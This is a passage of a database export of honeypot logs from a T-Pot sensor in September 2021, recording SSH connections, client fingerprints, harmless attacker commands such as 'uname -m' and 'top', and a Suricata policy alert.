"session": "7468c9710c83", "@version": "1", "duration": 0.6016066074371338, "duplicate": true, "timestamp": "2021-09-20T11:58:26.895336Z", "@timestamp": "2021-09-20T11:58:26.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34096	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:58:27.749971+03	2021-09-20 15:00:06.691472+03	{"_id": "PAYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:58718 (192.168.176.2:22) [session: 359252657809]", "session": "359252657809", "@version": "1", "protocol": "ssh", "src_port": 58718, "dest_port": 22, "timestamp": "2021-09-20T11:58:27.749971Z", "@timestamp": "2021-09-20T11:58:27.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34097	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:27.334254+03	2021-09-20 15:00:06.692179+03	{"_id": "PQYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:27.334254Z", "@timestamp": "2021-09-20T11:58:27.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34098	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:27.334815+03	2021-09-20 15:00:06.69473+03	{"_id": "PgYSA3wBvYTbRNuEX1Pr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:27.334815Z", "@timestamp": "2021-09-20T11:58:27.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34099	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:58:27.81053+03	2021-09-20 15:00:06.695723+03	{"_id": "QAYSA3wBvYTbRNuEYVMW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:27.690881+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 103291671513793, "payload": "AAADzAYUh0ZNHxfJTSo4AeTjj1yijAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58718, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:27.810530Z", "@timestamp": "2021-09-20T11:58:27.810Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......FM...M*8....\\\\.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34100	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:27.753612+03	2021-09-20 15:00:06.697722+03	{"_id": "QQYSA3wBvYTbRNuEYlMg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58718, "timestamp": "2021-09-20T11:58:27.753612", "@timestamp": "2021-09-20T11:58:27.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34101	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:28.34621+03	2021-09-20 15:00:06.698723+03	{"_id": "RQYSA3wBvYTbRNuEY1PU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:28.346210Z", "@timestamp": "2021-09-20T11:58:28.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
34102	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:29.366099+03	2021-09-20 15:00:06.699723+03	{"_id": "RwYSA3wBvYTbRNuEZ1O9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:29.366099Z", "@timestamp": "2021-09-20T11:58:29.366Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
34103	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:31.011984+03	2021-09-20 15:00:06.700723+03	{"_id": "TAYSA3wBvYTbRNuEa1Om", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "183.17.231.81", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6010494232177734, "duplicate": true, "timestamp": "2021-09-20T11:58:31.011984Z", "@timestamp": "2021-09-20T11:58:31.011Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
34104	95.85.8.215	109.199.241.180	Suricata	2021-09-20 14:58:42.970125+03	2021-09-20 15:00:06.701722+03	{"_id": "mwYSA3wBvYTbRNuEm1O3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:42.880211+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "95.85.8.215", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1472396249951827, "payload": "AAADzAYUQ6F8zqPvNl68pA1MjmY7XwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59134, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:42.970125Z", "@timestamp": "2021-09-20T11:58:42.970Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......C.|...6^..\\rL.f;_...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
34105	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:58:43.668151+03	2021-09-20 15:00:06.702724+03	{"_id": "nAYSA3wBvYTbRNuEnFPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38650, "timestamp": "2021-09-20T11:58:43.668151", "@timestamp": "2021-09-20T11:58:43.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34106	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:58:43.727371+03	2021-09-20 15:00:06.703722+03	{"_id": "pAYSA3wBvYTbRNuEnlN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "586505e52208", "@version": "1", "timestamp": "2021-09-20T11:58:43.727371Z", "@timestamp": "2021-09-20T11:58:43.727Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
34107	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:58:44.307205+03	2021-09-20 15:00:06.705723+03	{"_id": "rAYSA3wBvYTbRNuEolNg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "1b910082d714", "@version": "1", "duration": 1.3803069591522217, "timestamp": "2021-09-20T11:58:44.307205Z", "@timestamp": "2021-09-20T11:58:44.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
34108	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:58:42.924277+03	2021-09-20 15:00:06.706725+03	{"_id": "lwYSA3wBvYTbRNuEmlOP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:59134 (192.168.176.2:22) [session: 1b910082d714]", "session": "1b910082d714", "@version": "1", "protocol": "ssh", "src_port": 59134, "dest_port": 22, "timestamp": "2021-09-20T11:58:42.924277Z", "@timestamp": "2021-09-20T11:58:42.924Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
34109	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:58:42.927178+03	2021-09-20 15:00:06.707723+03	{"_id": "mAYSA3wBvYTbRNuEmlOP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1b910082d714", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:58:42.927178Z", "@timestamp": "2021-09-20T11:58:42.927Z", "t-pot_ip_ext": 